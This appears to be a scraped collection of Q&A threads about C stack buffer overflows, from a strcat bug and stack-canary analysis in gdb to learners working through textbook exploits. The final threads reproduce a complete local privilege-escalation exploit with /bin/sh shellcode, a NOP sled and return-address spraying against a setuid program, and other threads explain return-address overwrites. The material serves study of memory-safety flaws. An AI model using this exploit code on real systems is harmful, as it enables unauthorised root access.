New segmentation fault with previously working C code - c

this code is meant to take a list of names in a text file, and convert to email form
so Kate Jones becomes kate.jones#yahoo.com
this code worked fine on linux mint 12, but now the exact same code is giving a segfault on arch linux.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
FILE *fp;
fp = fopen("original.txt", "r+");
if (fp == NULL )
{
printf("error opening file 1");
return (1);
}
char line[100];
char mod[30] = "#yahoo,com\n";
while (fgets(line, 100, fp) != NULL )
{
int i;
for (i = 0; i < 100; ++i)
{
if (line[i] == ' ')
{
line[i] = '.';
}
if (line[i] == '\n')
{
line[i] = '\0';
}
}
strcat(line, mod);
FILE *fp2;
fp2 = fopen("final.txt", "a");
if (fp == NULL )
{
printf("error opening file 2");
return (1);
}
if (fp2 != NULL )
{
fputs(line, fp2);
fclose(fp2);
}
}
fclose(fp);
return 0;
}
Arch Linux is a fairly fresh install, could it be that there is something else I didn't install that C will need?

I think the problem would be when your original string plus mod exceeds 100 characters.
When you call strcat, it simply copies the string from the second appended to the first, assuming there is enough room in the first string which clearly doesn't seem to be the case here.
Just increase the size of line i.e. it could be
char line[130]; // 130 might be more than what is required since mod is shorter
Also it is much better to use strncat
where you can limit maximum number of elements copied to dst, otherwise, strcat can still go beyond size without complaining if given large enough strings.
Though a word of caution with strncat is that it does not terminate strings with null i.e. \0 on its own, specially when they are shorter than the given n. So its documentation should be thoroughly read before actual use.
Update: Platform specific note
Thought of adding, it is by sheer coincidence that it didn't seg fault on mint and crashed on arch. In practice it is invoking undefined behavior and should crash sooner or latter. There is nothing platform specific here.

Firstly your code isn't producing segmentation fault. Instead it will bring up "Stack Smashing" and throws below libc_message in the output console.
*** stack smashing detected ***: _executable-name-with-path_ terminated.
Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than there was actually allocated for that buffer.
Stack Smashing Protector (SSP) is a GCC extension for protecting applications from such stack-smashing attacks.
And, as said in other answers, your problem gets resolved with incrementing (strcat() function's first argument). from
char line[100]
to
char line[130]; // size of line must be atleast `strlen(line) + strlen(mod) + 1`. Though 130 is not perfect, it is safer
Lets see where the issue exactly hits in your code:
For that I am bringing up disassembly code of your main.
(gdb) disas main
Dump of assembler code for function main:
0x0804857c <+0>: push %ebp
0x0804857d <+1>: mov %esp,%ebp
0x0804857f <+3>: and $0xfffffff0,%esp
0x08048582 <+6>: sub $0xb0,%esp
0x08048588 <+12>: mov %gs:0x14,%eax
0x0804858e <+18>: mov %eax,0xac(%esp)
..... //Leaving out Code after 0x0804858e till 0x08048671
0x08048671 <+245>: call 0x8048430 <strcat#plt>
0x08048676 <+250>: movl $0x80487d5,0x4(%esp)
.... //Leaving out Code after 0x08048676 till 0x08048704
0x08048704 <+392>: mov 0xac(%esp),%edx
0x0804870b <+399>: xor %gs:0x14,%edx
0x08048712 <+406>: je 0x8048719 <main+413>
0x08048714 <+408>: call 0x8048420 <__stack_chk_fail#plt>
0x08048719 <+413>: leave
0x0804871a <+414>: ret
Following the usual assembly language prologue,
Instruction at 0x08048582 : stack grows by b0(176 in decimal) bytes for allowing storage stack contents for the main function.
%gs:0x14 provides the random canary value used for stack protection.
Instruction at 0x08048588 : Stores above mentioned value into the eax register.
Instruction at 0x0804858e : eax content(canary value) is pushed to stack at $esp with offset 172
Keep a breakpoint(1) at 0x0804858e.
(gdb) break *0x0804858e
Breakpoint 1 at 0x804858e: file program_name.c, line 6.
Run the program:
(gdb) run
Starting program: /path-to-executable/executable-name
Breakpoint 1, 0x0804858e in main () at program_name.c:6
6 {
Once program pauses at the breakpoint(1), Retreive the random canary value by printing the contents of register 'eax'
(gdb) i r eax
eax 0xa3d24300 -1546501376
Keep a breakpoint(2) at 0x08048671 : Exactly before call strcat().
(gdb) break *0x08048671
Breakpoint 2 at 0x8048671: file program_name.c, line 33.
Continue the program execution to reach the breakpoint (2)
(gdb) continue
Continuing.
Breakpoint 2, 0x08048671 in main () at program_name.c:33
print out the second top stack content where we stored the random canary value by executing following command in gdb, to ensure it is the same before strcat() is called.
(gdb) p *(int*)($esp + 172)
$1 = -1546501376
Keep a breakpoint (3) at 0x08048676 : Immediately after returning from call strcat()
(gdb) break *0x08048676
Breakpoint 3 at 0x8048676: file program_name.c, line 36.
Continue the program execution to reach the breakpoint (3)
(gdb) continue
Continuing.
Breakpoint 3, main () at program_name.c:36
print out the second top stack content where we stored the random canary value by executing following command in gdb, to ensure it is not corrupted by calling strcat()
(gdb) p *(int*)($esp + 172)
$2 = 1869111673
But it is corrupted by calling strcat(). You can see $1 and $2 are not same.
Lets see what happens because of corrupting the random canary value.
Instruction at 0x08048704 : Pulls the corrupted random canary value and stores in 'edx` register
Instruction at 0x0804870b : xor the actual random canary value and the contents of 'edx' register
Instruction at 0x08048712 : If they are same, jumps directly to end of main and returns safely. In our case random canary value is corrupted and 'edx' register contents is not the same as the actual random canary value. Hence Jump condition fails and __stack_chk_fail is called which throws libc_message mentioned in the top of the answer and aborts the application.
Useful Links:
IBM SSP Page
Interesting Read on SSP - caution pdf.

Since you didn't tell us where it faults I'll just point out some suspect lines:
for(i=0; i<100; ++i)
What if a line is less than 100 chars? This will read uninitialized memory - its not a good idea to do this.
strcat(line, mod);
What if a line is 90 in length and then you're adding 30 more chars? Thats 20 out of bounds..
You need to calculate the length and dynamically allocate your strings with malloc, and ensure you don't read or write out of bounds, and that your strings are always NULL terminated. Or you could use C++/std::string to make things easier if it doesn't have to be C.

Instead of checking for \n only, for the end of line, add the check for \r character also.
if(line[i] == '\n' || line[i] == '\r')
Also, before using strcat ensure that line has has enough room for mod. You can do this by checking if (i < /* Some value far less than 100 */), if i == 100 then that means it never encountered a \n character hence \0 was not added to line, hence Invalid memory Access occurs inside strcat() and therefore Seg Fault.

Fixed it. I simply increased the size of my line string.

Related

Cant exploit overflow in simple program (chapter2 shellcoder's handbook)

I am reading The shellcoder's Handbook and im currently at chapter 2 where i have a simple program to exploit by overflowing the expected input and then issuing a new location for the ret instruction so that the function return_input can be executed twice !
Here is the simple program made in C
void return_input (void)
{
char array[30];
gets (array);
printf(ā€œ%s\nā€, array);
}
main()
{
return_input();
return 0;
}
And this is the disassembled version of the main fucntion where we can see the jump adress of the call function.
I use the following command and input the chars that overflow with the adress following them that should replace ret's content
But as you can see i do not run the return_input function twice instead it just prints out a question mark and says segmentation failed
gets read terminating byte in and replaced it with NULL byte and thus your desired ret was broken with that NULL byte.
The offset you saw in disassembly codes is NOT the real address, you compiled the program with PIE flag set so the real address may look like 0x55555????58a, that's why gdb didn't allow you to insert a break point because you might try to do b *0x58a or something. Compile with -no-pie would make life easier.

Forcing buffer overflow for Understanding

I'm attempting to understand the concept of a buffer overflow and I'm having trouble computing how much data to stuff into the stack so it overflows correctly. Suppose I'm given some code (this is not my code, and yes it is from a class, but this isn't a graded assignment):
The goal is to get bar to be executed.
#include <stdio.h>
#include <string.h>
void foo(char *s) {
char buf[4];
strcpy(buf, s);
printf("You entered: [%s]", buf);
fflush(stdout);
}
void bar() {
printf("\n\nWhat? I was not supposed to be called!\n\n");
fflush(stdout);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s some_string", argv[0]);
return 2;
}
foo(argv[1]);
return 0;
}
When I disassemble bar I get the start address of bar:
(gdb) disas bar
Dump of assembler code for function bar:
0x000000000040062d <+0>: push %rbp
I was told that there needs to be 28 bytes of data stuffed into the buffer, and the last 4 bytes, need to be \x2d\x06\x04\x00. Where do you get 24 bytes to know how much random data to stuff.
Generally, and what i'm most interested in, is how to generalize and figure this out for any problem.
How do you compute the number of bytes needed to fill the stack frame and then overwrite the return address of the function?
Note: This is written in C, and compiled with GCC 4.4.7
From a single piece of C code, you can get different results.
void foo(char *s) {
char buf[4];
strcpy(buf, s);
printf("You entered: [%s]", buf);
fflush(stdout);
}
The compiler may output
ADD SP, 4 // space for buf
PUSH SP-12 // address of string 's'
PUSH SP-8 // address of SP (4 + space for s)
call strcpy
push literal_You_entered
push SP-8
call printf
...
Or it may want to have a stack frame.
PUSH Frame
MOVE SP, Frame
ADD SP, 4 // space for buf
....
Or it may need to save registers
PUSH Frame
MOVE SP, Frame
PUSH Reg1
PUSH Reg2
ADD SP, 4 // space for buf
This can be based on the optimization setting for the compiler. In each case this moves the value around.
Try a magic buffer like '\x01\x02\x03\x04\.....\xfe\xff'.
The segmentation fault you get should show you where the important bytes are. Access violation at 0x08090a0b would describe which bytes were the return.
Overwriting the frame pointer (FP) means you can modify the behavior in the calling function, which may also help you.
How do you compute the number of bytes needed to fill the stack frame and then overwrite the return address of the function?
You do it by learning the layout of the stack frame in the architecture that you're trying to exploit, and how the compiler places variables into the stack frame. 28 bytes happens to be the difference between the location of the first variable and the return address in the stack frame of the particular architecture you're using.

Disabling ASLR causes fread() to fail in c program

I am working on a homework assignment concerning a bufferOverflow.
The test program uses fread() to read 4096 bytes from a file.
When I set kernel.randomize_va_space to 0, and run the program in gdb, I can see that the fread() command returns nothing.
If I set kernel.randomize_va_space to either 1 or 2, and rerun the program using gdb, I can see the expected data in the buffer where fread stores the file.
Why would ASLR cause fread to stop working properly?
FYI: this is ubuntu 12.0.4 64-bit, and the program was compiled with the -c99 and -m32 flags to gcc.
The test program I was given for this assignment is as follows:
#include <stdio.h>
#define READSIZE 0x1000
void countLines(FILE* f){
char buf[0x400];//should be big enough for anybody
int lines=0;
fread(buf,READSIZE,1,f);
for(int i=0;i<0x400;i++)
if(buf[i] == '\n')
lines++;
printf("The number of lines in the file is %d\n",lines);
return;
}
int main(int argc,char** argv){
if(argc<2){
printf("Proper usage is %s <filename>\n",argv[0]);
exit(0);
}
FILE* myfile=fopen(argv[1],"r");
countLines(myfile);
return 0;
}
When I run it in gdb, I place my breakpoint on the line:
for(int i=0;i<0x400;i++)
In gdb, I then do the following:
(gdb) x $esp
0xbffff280 0xbffff298
If I do:
(gdb) x /12wx $esp
I can see that the first 4 bytes are the address of buf, the next 4 bytes are the 0x1000 passed to fread and the next 4 bytes are 0x01 which was also passed to fread.
This looks to me like the stack frame for the fread function not the stack frame for countLines().
Why wouldn't $esp be pointing to the current stack frame not hte one that was just exited?
Update
I modified the code as follows:
#include <stdio.h>
#define READSIZE 0x1000
void countLines(FILE* f){
char buf[0x400];//should be big enough for anybody
int lines=0;
int ferr=0;
fread(buf,READSIZE,1,f);
ferr=ferror(f);
if (ferr)
printf("I/O error when reading (%d)\n",ferr);
else if (feof(f))
printf("End of file reached successfully\n");
for(int i=0;i<0x400;i++)
if(buf[i] == '\n')
lines++;
printf("The number of lines in the file is %d\n",lines);
return;
}
int main(int argc,char** argv){
if(argc<2){
printf("Proper usage is %s <filename>\n",argv[0]);
exit(0);
}
FILE* myfile=fopen(argv[1],"r");
countLines(myfile);
return 0;
}
When I run it with ASLR diabled, I get:
I/O errorwhen readin (1)
If I run it with ASLR enabled (value=1),
get
EOF reached.
fread() reads up to nitems elements of size size into an array pointed to by ptr. It is the programmer's responsability to ensure the array is big enough.
That last part is important. fread() has no way of knowing the actual size of the array. It will happily read stuff and store it past the end of the array. Accessing past the end of the array results in Undefined Behavior: there is no guarantee as to what will happen, notably, in this case, it can result in arbitrary code execution.
As to why sometimes it bombs and sometimes not:
With no ASLR you had this:
(gdb) x $esp
0xbffff280 0xbffff298
with the buffer at address 0xbffff298. The top of the stack is at 0xbfffffff, which leaves 3432 bytes between the start of the buffer and the end of the stack. When trying to read into the buffer, the process has nothing mapped at 0xc0000000 in userspace (which you can check with cat /proc/<pid>/maps, to see the process' userspace mappings) , so the underlying read() system call fails with EFAULT - Bad address.
With ASLR, there is some randomization for stack placement. The stack base has ~11 bits 1 of randomness on x86 (arch/x86/include/asm/elf.h):
/* 1GB for 64bit, 8MB for 32bit */
#define STACK_RND_MASK (test_thread_flag(TIF_IA32) ? 0x7ff : 0x3fffff)
and the stack top has 9 additional bits of randomness (arch/x86/kernel/process.c:arch_align_stack(), called from fs/binfmt_elf.c:create_elf_tables()):
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
sp -= get_random_int() % 8192;
return sp & ~0xf;
So, arch_align_stack() offsets the stack top [0,8176] bytes, in 16 byte increments, i.e, the initial stack pointer may be moved 0, 16, 32, ..., 8176 bytes from its original position.
So, with your 3432 bytes (the buffer, plus space for argc, argv, envp, auxp, assorted pointers to them, and padding), plus the variable ASLR offset, you have only ~8% chance of having less than 4096 bytes on your stack, which would allow you to see the SEGV with ASLR on. Just try a lot of times, and you should see it about once every 12 tries.
1 The stack base can also be moved an additional page, see fs/exec.c:setup_arg_pages():
stack_top = arch_align_stack(stack_top);
stack_top = PAGE_ALIGN(stack_top);
As for the fread() arguments on stack, that's correct - these are stored before the caller's BP value is pushed on the stack by the callee, so they are part of the caller's stack frame - check x86 stack frame description. On x86-64 you won't see them since they are passed to the callee in registers.
As for the ASLR error, get the error description with perror(). Or better install debuginfo packages for glibc, so that you can trace the code into fread() itself.
I never figured out why the fread() function ws failing so I replaced it with an fgets() function and finished the assignment.
Thank you everyone for all the help.
This forum is great!

Stack-based overflow code from Hacking: The Art of Exploitation

This might be related to this, but i'm not sure if it's in the same boat.
So i've been re-reading Hacking: The Art of Exploitation and I have a question about some of the C code in the book, which doesn't quite make sense to me:
Let's just assume we're back in ~2000 and we don't really have stack cookies and ASLR (maybe we do, but it hasn't been implemented or isn't widespread), or any other type of protection we have now-a-days.
He shows us this piece of code to exploit a simple stack-based overflow:
#include <stdlib.h>
char shellcode[] = "..." // omitted
unsigned long sp(void)
{ __asm__("movl %esp, %eax); }
int main(int argc, char *argv[]) {
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
// bunch of printfs here...
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i = 0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i = 0; i < 200; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i = 0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;
}
So what he wants to do is take the address of the ESP and overwrite the saved EIP with that address, so that the processor will jump to his NOP sled in memory and execute the shellcode in the stack.
What I do not understand, is how he can use that particular ESP value that he gets from sp() at the current time he calls it.
From what I understand, the stack looks "something" like this:
...
saved ebp <-- execl
saved eip
"./vuln"
"vuln"
buffer
0
*ptr <-- sp() returns this address?
*buffer
*addr_ptr
ret
esp
offset
i
saved ebp <-- main
saved eip
argc
argv
...
Since he calls (I know it's a function pointer, so I guess not entirely accurate wording?) sp() so early in the exploit, shouldn't it give him a bad ESP address? Even for that matter, I don't see how he can even use that technique here, because he will never get the ESP that points to the top of the buffer inside his vuln program.
Thanks.
I don't see how he can even use that technique here, because he will never get the ESP that points to the top of the buffer inside his vuln program.
I haven't read much of the book, but I think I've figured this out. Here's what *buffer looks like:
NOP sled | shellcode | Address of buffer in the exploit's stack frame
When vuln does strcpy() on buffer into its own stack, it fails to check the bounds and overwrites its own EIP with the address of the start of the buffer in the exploit's stack frame, or at least something close to it (hence the NOP sled). The NOP sled and shellcode copied to vuln's stack frame are incidental; that's not where they run from. It's critical that the sled and shellcode be smaller than how big vuln expects buffer to be, otherwise the saved EIP will be overwritten by shellcode rather than the address of buffer.
Then, when whatever portion of vuln that uses strcpy() on buffer returns, it goes to the NOP sled and executes the shellcode.
The important point is that buffer is read twice, in two different places.
Edit: Disregard that, I confused myself (though thanks for the accept!). Hopefully I will not confuse you too, which is why I'm writing this edit. The vulnerable program is in a completely different virtual memory space since it is run by the operating system in a separate process (or the same process with a new image? Whatever). So there'd be no way for vuln to access the exploit's stack or heap.
The ESP trickery must be some way to guess where the NOP sled in the copied buffer ends up in vuln's stack. I personally would expect a much larger offset than 0 since the exploit's stack is quite small compared to vuln's.
That said, I'm pretty sure there are still two copies of the shellcode in vuln (otherwise, what could it strcpy() from?). With an offset of 0, perhaps he is running the shellcode stored in argv[]...?!? In that case, you'd still have a situation where the address in one buffer points to the NOP sled in another buffer, as in my original answer. I've been wrong before though, so let me know if that makes no sense.
A lot will depend on what specific OS the code was intended to exploit. Without knowing this, any discussion has to be somewhat generic [and a guess on my part].
One possibility is that there was something significant in the "bunch of printfs" you've left out...
If there's really nothing clever happening there, I would guess that the vulnerability it's trying to exploit is within the execl(..) call and/or the OS when effectively passed a long (600 byte) command-line parameter. Somewhere in there [I'm guessing] a subroutine will be setting up the environment for the new process, and along the way will be copying the 600-byte string passed in as a parameter (buffer) into what may well be a small(ish) fixed size buffer on the stack of the new process, and [presumably] overwrites the return address of this "setup" function with many copies of the stack pointer from the original call. When the "command-line copying function" returns, it will thus return to the carefully-prepared buffer from the original copy and execute the shellcode.
(If the omitted shellcode contained a zero byte ...\x00... then this cannot be what's happening, as it would mark the end of the string being copied in setting up the command-line buffer).
:) I had been at this for days trying to find out what was actually going on. In the process i also discovered this post. Now that i have a glimpse of what is going on i thought i should share what i understood so that others like 'me' would also find this useful.
unsigned long getesp()
{
__asm__("movl %esp, %eax");
}
This function is actually used to guess the return address. It returns the ESP value of our shellcode injection program NOT the ESP value of the vulnerable program. But since the stack starts at almost the same address ( for systems without ASLR enabled) and as aleph one mentions in his article "Most programs do not push more than a few hundred
or a few thousand bytes into the stack at any one time. Therefore by knowing
where the stack starts we can try to guess where the buffer we are trying to
overflow will be ", we can get an idea of where our shellcode should be. Let me explain.
Suppose that for our test program, the stack starts at 1000. This address is actually returned by the above code when we execute it. Now consider our vulnerable program and suppose that the buffer we are trying to inject to is at address 970, and the return address is stored at 1040.
[BUFFER 970][RETURN_ADDRESS 1070]
Ok? Now the buffer is filed with NOPS till the first half,then with the shellcode and then with the return address right..
[NOP SLED][SHELL_CODE][RETURN_ADDRESS]
lets fill it like this
NOPS [970-1010] SHELLCODE[ 1010-1050 ] RETURN_ADDRESS[1050-1070]
The value returned by the getesp() gives an idea of where the stack will be. so if we rewrite the return address with 1000 which was returned by getesp(), we can see that the exploit would still work because the address at 1000 is filed with nops. the exection will slide down to the shellcode !

Buffer Overflow esp offset

I'm a computer engineering student who is studying how stack buffer overflows work. The book I'm reading is The Art of Exploitation (1st edition) by Jon Erickson.
In order to practice what I'm studying I've installed Damn Vulnerable Linux distribution in a virtual machine. I've disabled ASRL (kernel.randomize_va_space = 0), I've compiled the following codes with GCC 3.4.6, I'm using GDB 6.6 and the kernel of the distribution is 2.6.20. My computer has an Intel processor.
The vulnerable program (test2) is created by root and is set as setuid.
The vulnerable code is the following:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
While the exploit code, created by normal (non root) user, is the following:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
The program works, it exploits the buffer overflow vulnerability in test2 and gives me a root shell.
What I don't understand, even after reading the book several times and trying to find answers on the internet, is why the value of the stack pointer that we store in the variable esp is the return address of our shellcode. I've disassembled the program with GDB and everything works as the author says but I don't understand why this happens.
I would have liked to show you how the disassembled program looked like and how the memory looked like during execution, but I cannot copy/paste from the guest machine on the virtual machine and I'm not allowed to insert images in my question. So I can only try to describe what happens during execution of the program main (the one that exploits the BOF in test2):
disassembling main, I see that 28 bytes are allocated on the stack (7 variables * 4 bytes). Then the function sp() is called and the value of the stack pointer is stored in esp. The value stored in the variable esp is 0xbffff344. Then, as you can see, we have some printf, we store the payload in buffer2 and then we call the execl function passing buffer2 as an argument.
now the root shell shows up and then the program exits. Disassembling the program after setting a different offset, I can clearly see that 0xbffff344 is precisely the address where the payload is stored when test2 is executed. Could you explain me how does this happen? Does execl sets a new stack frame for the test2 program? In main.c only 28 bytes are allocated on the stack, while in test2 500 bytes are allocated on the stack (for buffer2). So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
I thank you and apologize if I wrote some stupid things.
Could you explain me how does this happen?
When ASLR is disabled every executable starts at the same address, so given the stack pointer you are able to guess the required offset to find your buffer location in test2. This is also where the NOP sled becomes useful, since it give you multiple possible hit if the offset is not the exact displacement to the shellcode.
That being said the fact the the value of ESP in the main function of your exploit program IS the location of the executed buffer in test2 seems incorrect. Are you sure you just don't misinterpreted gdb results?
You should be able to compute the offset of the buffer using the following : esp - 500 + 28.
Note that you should always wear gloves when using such formula : how the compiler handles locals, (size, order, etc) can vary.
So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
Well You don't. It depends of the machine, how the program was compiled etc.
Does execl sets a new stack frame for the test2 program?
From the execve man pages :
The exec family of functions shall replace the current process image
with a new process image. The new image shall be constructed from a
regular, executable file called the new process image file. There
shall be no return from a successful exec, because the calling process
image is overlaid by the new process image.
The stack is overridden by a new one for test2.
Hope it helps :)

Resources